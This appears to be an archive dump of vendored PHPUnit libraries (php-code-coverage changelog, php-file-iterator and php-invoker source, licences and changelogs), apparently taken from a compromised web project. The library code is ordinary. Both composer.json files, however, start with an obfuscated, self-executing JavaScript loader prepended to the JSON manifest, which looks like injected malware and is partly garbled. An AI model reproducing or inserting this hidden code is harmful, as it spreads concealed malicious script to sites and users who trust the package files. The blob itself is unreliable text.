footer in the HTML report ## [8.0.0] - 2020-02-07 ### Fixed * [#721](https://github.com/sebastianbergmann/php-code-coverage/pull/721): Workaround for PHP bug [#79191](https://bugs.php.net/bug.php?id=79191) ### Removed * This component is no longer supported on PHP 7.2 ## [7.0.15] - 2021-07-26 ### Changed * Bumped required version of php-token-stream ## [7.0.14] - 2020-12-02 ### Changed * [#837](https://github.com/sebastianbergmann/php-code-coverage/issues/837): Allow version 4 of php-token-stream ## [7.0.13] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` to allow installation of this version of this library on PHP 8. However, this version of this library does not work on PHP 8. PHPUnit 8.5, which uses this version of this library, does not call into this library and instead shows a message that code coverage functionality is not available for PHPUnit 8.5 on PHP 8. ## [7.0.12] - 2020-11-27 ### Added * [#834](https://github.com/sebastianbergmann/php-code-coverage/issues/834): Support `XDEBUG_MODE` environment variable ## [7.0.11] - 2020-11-27 ### Added * Support for Xdebug 3 ## [7.0.10] - 2019-11-20 ### Fixed * [#710](https://github.com/sebastianbergmann/php-code-coverage/pull/710): Code Coverage does not work in PhpStorm ## [7.0.9] - 2019-11-20 ### Changed * [#709](https://github.com/sebastianbergmann/php-code-coverage/pull/709): Prioritize PCOV over Xdebug ## [7.0.8] - 2019-09-17 ### Changed * Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.3.1, jQuery 3.4.1, and popper.js 1.15.0 ## [7.0.7] - 2019-07-25 ### Changed * Bumped required version of php-token-stream ## [7.0.6] - 2019-07-08 ### Changed * Bumped required version of php-token-stream ## [7.0.5] - 2019-06-06 ### Fixed * [#681](https://github.com/sebastianbergmann/php-code-coverage/pull/681): `use function` statements are not ignored ## [7.0.4] - 2019-05-29 ### Fixed * [#682](https://github.com/sebastianbergmann/php-code-coverage/pull/682): Code that is not executed is reported as being executed when using PCOV ## [7.0.3] - 2019-02-26 ### Fixed * [#671](https://github.com/sebastianbergmann/php-code-coverage/issues/671): `TypeError` when directory name is a number ## [7.0.2] - 2019-02-15 ### Changed * Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.3.0 ### Fixed * [#667](https://github.com/sebastianbergmann/php-code-coverage/pull/667): `TypeError` in PHP reporter ## [7.0.1] - 2019-02-01 ### Fixed * [#664](https://github.com/sebastianbergmann/php-code-coverage/issues/664): `TypeError` when whitelisted file does not exist ## [7.0.0] - 2019-02-01 ### Added * [#663](https://github.com/sebastianbergmann/php-code-coverage/pull/663): Support for PCOV ### Fixed * [#654](https://github.com/sebastianbergmann/php-code-coverage/issues/654): HTML report fails to load assets * [#655](https://github.com/sebastianbergmann/php-code-coverage/issues/655): Popin pops in outside of screen ### Removed * This component is no longer supported on PHP 7.1 [9.2.15]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.14...9.2.15 [9.2.14]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.13...9.2.14 [9.2.13]: https://github.com/sebastianbergmann/php-code-coverage/compare/c011a0b6aaa4acd2f39b7f51fb4ad4442b6ec631...9.2.13 [9.2.12]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.11...c011a0b6aaa4acd2f39b7f51fb4ad4442b6ec631 [9.2.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.10...9.2.11 [9.2.10]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.9...9.2.10 [9.2.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.8...9.2.9 [9.2.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.7...9.2.8 [9.2.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.6...9.2.7 [9.2.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.5...9.2.6 [9.2.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.4...9.2.5 [9.2.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.3...9.2.4 [9.2.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.2...9.2.3 [9.2.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.1...9.2.2 [9.2.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.2.0...9.2.1 [9.2.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.11...9.2.0 [9.1.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.10...9.1.11 [9.1.10]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.9...9.1.10 [9.1.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.8...9.1.9 [9.1.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.7...9.1.8 [9.1.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.6...9.1.7 [9.1.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.5...9.1.6 [9.1.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.4...9.1.5 [9.1.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.3...9.1.4 [9.1.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.2...9.1.3 [9.1.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.1...9.1.2 [9.1.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.1.0...9.1.1 [9.1.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/9.0.0...9.1.0 [9.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0...9.0.0 [8.0.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0.1...8.0.2 [8.0.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/8.0.0...8.0.1 [8.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.10...8.0.0 [7.0.15]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.14...7.0.15 [7.0.14]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.13...7.0.14 [7.0.13]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.12...7.0.13 [7.0.12]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.11...7.0.12 [7.0.11]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.10...7.0.11 [7.0.10]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.9...7.0.10 [7.0.9]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.8...7.0.9 [7.0.8]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.7...7.0.8 [7.0.7]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.6...7.0.7 [7.0.6]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.5...7.0.6 [7.0.5]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.4...7.0.5 [7.0.4]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.3...7.0.4 [7.0.3]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.2...7.0.3 [7.0.2]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.1...7.0.2 [7.0.1]: https://github.com/sebastianbergmann/php-code-coverage/compare/7.0.0...7.0.1 [7.0.0]: https://github.com/sebastianbergmann/php-code-coverage/compare/6.1.4...7.0.0 res/readability/vendor/phpunit/php-file-iterator/.psalm/config.xml000064400000000753147577714370021361 0ustar00 res/readability/vendor/phpunit/php-file-iterator/.psalm/baseline.xml000064400000000345147577714370021673 0ustar00 current res/readability/vendor/phpunit/php-file-iterator/src/Factory.php000064400000004702147577714370021105 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use const GLOB_ONLYDIR; use function array_filter; use function array_map; use function array_merge; use function glob; use function is_dir; use function is_string; use function realpath; use AppendIterator; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; class Factory { /** * @param array|string $paths * @param array|string $suffixes * @param array|string $prefixes */ public function getFileIterator($paths, $suffixes = '', $prefixes = '', array $exclude = []): AppendIterator { if (is_string($paths)) { $paths = [$paths]; } $paths = $this->getPathsAfterResolvingWildcards($paths); $exclude = $this->getPathsAfterResolvingWildcards($exclude); if (is_string($prefixes)) { if ($prefixes !== '') { $prefixes = [$prefixes]; } else { $prefixes = []; } } if (is_string($suffixes)) { if ($suffixes !== '') { $suffixes = [$suffixes]; } else { $suffixes = []; } } $iterator = new AppendIterator; foreach ($paths as $path) { if (is_dir($path)) { $iterator->append( new Iterator( $path, new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::FOLLOW_SYMLINKS | RecursiveDirectoryIterator::SKIP_DOTS) ), $suffixes, $prefixes, $exclude ) ); } } return $iterator; } protected function getPathsAfterResolvingWildcards(array $paths): array { $_paths = [[]]; foreach ($paths as $path) { if ($locals = glob($path, GLOB_ONLYDIR)) { $_paths[] = array_map('\realpath', $locals); } else { $_paths[] = [realpath($path)]; } } return array_filter(array_merge(...$_paths)); } } res/readability/vendor/phpunit/php-file-iterator/src/Facade.php000064400000005145147577714370020643 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use const DIRECTORY_SEPARATOR; use function array_unique; use function count; use function dirname; use function explode; use function is_file; use function is_string; use function realpath; use function sort; class Facade { /** * @param array|string $paths * @param array|string $suffixes * @param array|string $prefixes */ public function getFilesAsArray($paths, $suffixes = '', $prefixes = '', array $exclude = [], bool $commonPath = false): array { if (is_string($paths)) { $paths = [$paths]; } $iterator = (new Factory)->getFileIterator($paths, $suffixes, $prefixes, $exclude); $files = []; foreach ($iterator as $file) { $file = $file->getRealPath(); if ($file) { $files[] = $file; } } foreach ($paths as $path) { if (is_file($path)) { $files[] = realpath($path); } } $files = array_unique($files); sort($files); if ($commonPath) { return [ 'commonPath' => $this->getCommonPath($files), 'files' => $files, ]; } return $files; } protected function getCommonPath(array $files): string { $count = count($files); if ($count === 0) { return ''; } if ($count === 1) { return dirname($files[0]) . DIRECTORY_SEPARATOR; } $_files = []; foreach ($files as $file) { $_files[] = $_fileParts = explode(DIRECTORY_SEPARATOR, $file); if (empty($_fileParts[0])) { $_fileParts[0] = DIRECTORY_SEPARATOR; } } $common = ''; $done = false; $j = 0; $count--; while (!$done) { for ($i = 0; $i < $count; $i++) { if ($_files[$i][$j] != $_files[$i + 1][$j]) { $done = true; break; } } if (!$done) { $common .= $_files[0][$j]; if ($j > 0) { $common .= DIRECTORY_SEPARATOR; } } $j++; } return DIRECTORY_SEPARATOR . $common; } } res/readability/vendor/phpunit/php-file-iterator/src/Iterator.php000064400000005634147577714370021274 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\FileIterator; use function array_filter; use function array_map; use function preg_match; use function realpath; use function str_replace; use function strlen; use function strpos; use function substr; use FilterIterator; class Iterator extends FilterIterator { public const PREFIX = 0; public const SUFFIX = 1; /** * @var string */ private $basePath; /** * @var array */ private $suffixes = []; /** * @var array */ private $prefixes = []; /** * @var array */ private $exclude = []; public function __construct(string $basePath, \Iterator $iterator, array $suffixes = [], array $prefixes = [], array $exclude = []) { $this->basePath = realpath($basePath); $this->prefixes = $prefixes; $this->suffixes = $suffixes; $this->exclude = array_filter(array_map('realpath', $exclude)); parent::__construct($iterator); } public function accept(): bool { $current = $this->getInnerIterator()->current(); $filename = $current->getFilename(); $realPath = $current->getRealPath(); if ($realPath === false) { return false; } return $this->acceptPath($realPath) && $this->acceptPrefix($filename) && $this->acceptSuffix($filename); } private function acceptPath(string $path): bool { // Filter files in hidden directories by checking path that is relative to the base path. if (preg_match('=/\.[^/]*/=', str_replace($this->basePath, '', $path))) { return false; } foreach ($this->exclude as $exclude) { if (strpos($path, $exclude) === 0) { return false; } } return true; } private function acceptPrefix(string $filename): bool { return $this->acceptSubString($filename, $this->prefixes, self::PREFIX); } private function acceptSuffix(string $filename): bool { return $this->acceptSubString($filename, $this->suffixes, self::SUFFIX); } private function acceptSubString(string $filename, array $subStrings, int $type): bool { if (empty($subStrings)) { return true; } $matched = false; foreach ($subStrings as $string) { if (($type === self::PREFIX && strpos($filename, $string) === 0) || ($type === self::SUFFIX && substr($filename, -1 * strlen($string)) === $string)) { $matched = true; break; } } return $matched; } } res/readability/vendor/phpunit/php-file-iterator/README.md000064400000001073147577714370017453 0ustar00[![Build Status](https://travis-ci.org/sebastianbergmann/php-file-iterator.svg?branch=master)](https://travis-ci.org/sebastianbergmann/php-file-iterator) # php-file-iterator ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require phpunit/php-file-iterator If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev phpunit/php-file-iterator res/readability/vendor/phpunit/php-file-iterator/LICENSE000064400000003020147577714370017173 0ustar00php-file-iterator Copyright (c) 2009-2021, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/php-file-iterator/composer.json000064400000007734147577714370020730 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phpunit/php-file-iterator", "description": "FilterIterator implementation that filters files based on a list of suffixes.", "type": "library", "keywords": [ "iterator", "filesystem" ], "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "3.0-dev" } } } res/readability/vendor/phpunit/php-file-iterator/ChangeLog.md000064400000011224147577714370020344 0ustar00# Change Log All notable changes to this project will be documented in this file. This project adheres to [Semantic Versioning](http://semver.org/). ## [3.0.6] - 2021-12-02 ### Changed * [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths ## [3.0.5] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.0.4] - 2020-07-11 ### Fixed * [#67](https://github.com/sebastianbergmann/php-file-iterator/issues/67): `TypeError` in `SebastianBergmann\FileIterator\Iterator::accept()` ## [3.0.3] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.2] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [3.0.1] - 2020-04-18 ### Fixed * [#64](https://github.com/sebastianbergmann/php-file-iterator/issues/64): Release tarball contains Composer PHAR ## [3.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [2.0.5] - 2021-12-02 ### Changed * [#73](https://github.com/sebastianbergmann/php-file-iterator/pull/73): Micro performance improvements on parsing paths ### Fixed * [#74](https://github.com/sebastianbergmann/php-file-iterator/pull/74): Document return type of `SebastianBergmann\FileIterator\Iterator::accept()` so that Symfony's `DebugClassLoader` does not trigger a deprecation warning ## [2.0.4] - 2021-07-19 ### Changed * Added `ReturnTypeWillChange` attribute to `SebastianBergmann\FileIterator\Iterator::accept()` because the return type of `\FilterIterator::accept()` will change in PHP 8.1 ## [2.0.3] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.1` to `>=7.1` ## [2.0.2] - 2018-09-13 ### Fixed * [#48](https://github.com/sebastianbergmann/php-file-iterator/issues/48): Excluding an array that contains false ends up excluding the current working directory ## [2.0.1] - 2018-06-11 ### Fixed * [#46](https://github.com/sebastianbergmann/php-file-iterator/issues/46): Regression with hidden parent directory ## [2.0.0] - 2018-05-28 ### Fixed * [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path ### Changed * This component now uses namespaces ### Removed * This component is no longer supported on PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, and PHP 7.0 ## [1.4.5] - 2017-11-27 ### Fixed * [#37](https://github.com/sebastianbergmann/php-file-iterator/issues/37): Regression caused by fix for [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30) ## [1.4.4] - 2017-11-27 ### Fixed * [#30](https://github.com/sebastianbergmann/php-file-iterator/issues/30): Exclude is not considered if it is a parent of the base path ## [1.4.3] - 2017-11-25 ### Fixed * [#34](https://github.com/sebastianbergmann/php-file-iterator/issues/34): Factory should use canonical directory names ## [1.4.2] - 2016-11-26 No changes ## [1.4.1] - 2015-07-26 No changes ## 1.4.0 - 2015-04-02 ### Added * [#23](https://github.com/sebastianbergmann/php-file-iterator/pull/23): Added support for wildcards (glob) in exclude [3.0.6]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.5...3.0.6 [3.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.4...3.0.5 [3.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.3...3.0.4 [3.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.5...3.0.0 [2.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.4...2.0.5 [2.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.5...2.0.0 [1.4.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.4...1.4.5 [1.4.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.3...1.4.4 [1.4.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.2...1.4.3 [1.4.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.1...1.4.2 [1.4.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.0...1.4.1 res/readability/vendor/phpunit/php-invoker/src/exceptions/TimeoutException.php000064400000000625147577714370024073 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use RuntimeException; final class TimeoutException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-invoker/src/exceptions/Exception.php000064400000000551147577714370022522 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use Throwable; interface Exception extends Throwable { } readability/vendor/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php000064400000000656147577714370031040 0ustar00res * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use RuntimeException; final class ProcessControlExtensionNotLoadedException extends RuntimeException implements Exception { } res/readability/vendor/phpunit/php-invoker/src/Invoker.php000064400000003331147577714370020017 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Invoker; use const SIGALRM; use function call_user_func_array; use function function_exists; use function pcntl_alarm; use function pcntl_async_signals; use function pcntl_signal; use function sprintf; use Throwable; final class Invoker { /** * @var int */ private $timeout; /** * @throws Throwable */ public function invoke(callable $callable, array $arguments, int $timeout) { if (!$this->canInvokeWithTimeout()) { throw new ProcessControlExtensionNotLoadedException( 'The pcntl (process control) extension for PHP is required' ); } pcntl_signal( SIGALRM, function (): void { throw new TimeoutException( sprintf( 'Execution aborted after %d second%s', $this->timeout, $this->timeout === 1 ? '' : 's' ) ); }, true ); $this->timeout = $timeout; pcntl_async_signals(true); pcntl_alarm($timeout); try { return call_user_func_array($callable, $arguments); } finally { pcntl_alarm(0); } } public function canInvokeWithTimeout(): bool { return function_exists('pcntl_signal') && function_exists('pcntl_async_signals') && function_exists('pcntl_alarm'); } } res/readability/vendor/phpunit/php-invoker/README.md000064400000001306147577714370016361 0ustar00# phpunit/php-invoker [![CI Status](https://github.com/sebastianbergmann/php-invoker/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-invoker/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-invoker/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-invoker) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require phpunit/php-invoker ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev phpunit/php-invoker ``` res/readability/vendor/phpunit/php-invoker/LICENSE000064400000003012147577714370016103 0ustar00php-invoker Copyright (c) 2011-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/php-invoker/composer.json000064400000010053147577714370017623 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "phpunit/php-invoker", "description": "Invoke callables with a timeout", "type": "library", "keywords": [ "process" ], "homepage": "https://github.com/sebastianbergmann/php-invoker/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-invoker/issues" }, "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3" }, "require-dev": { "ext-pcntl": "*", "phpunit/phpunit": "^9.3" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "suggest": { "ext-pcntl": "*" }, "extra": { "branch-alias": { "dev-master": "3.1-dev" } } } res/readability/vendor/phpunit/php-invoker/ChangeLog.md000064400000002706147577714370017260 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [3.1.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.1.0] - 2020-08-06 ### Changed * [#14](https://github.com/sebastianbergmann/php-invoker/pull/14): Clear alarm in `finally` block ## [3.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [3.0.0] - 2020-02-07 ### Added * Added `canInvokeWithTimeout()` method to check requirements for the functionality provided by this component to work ### Changed * Moved `"ext-pcntl": "*"` requirement from `require` to `suggest` so that this component can be installed even if `ext/pcntl` is not available * `invoke()` now raises an exception when the requirements for the functionality provided by this component to work are not met ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 [3.1.1]: 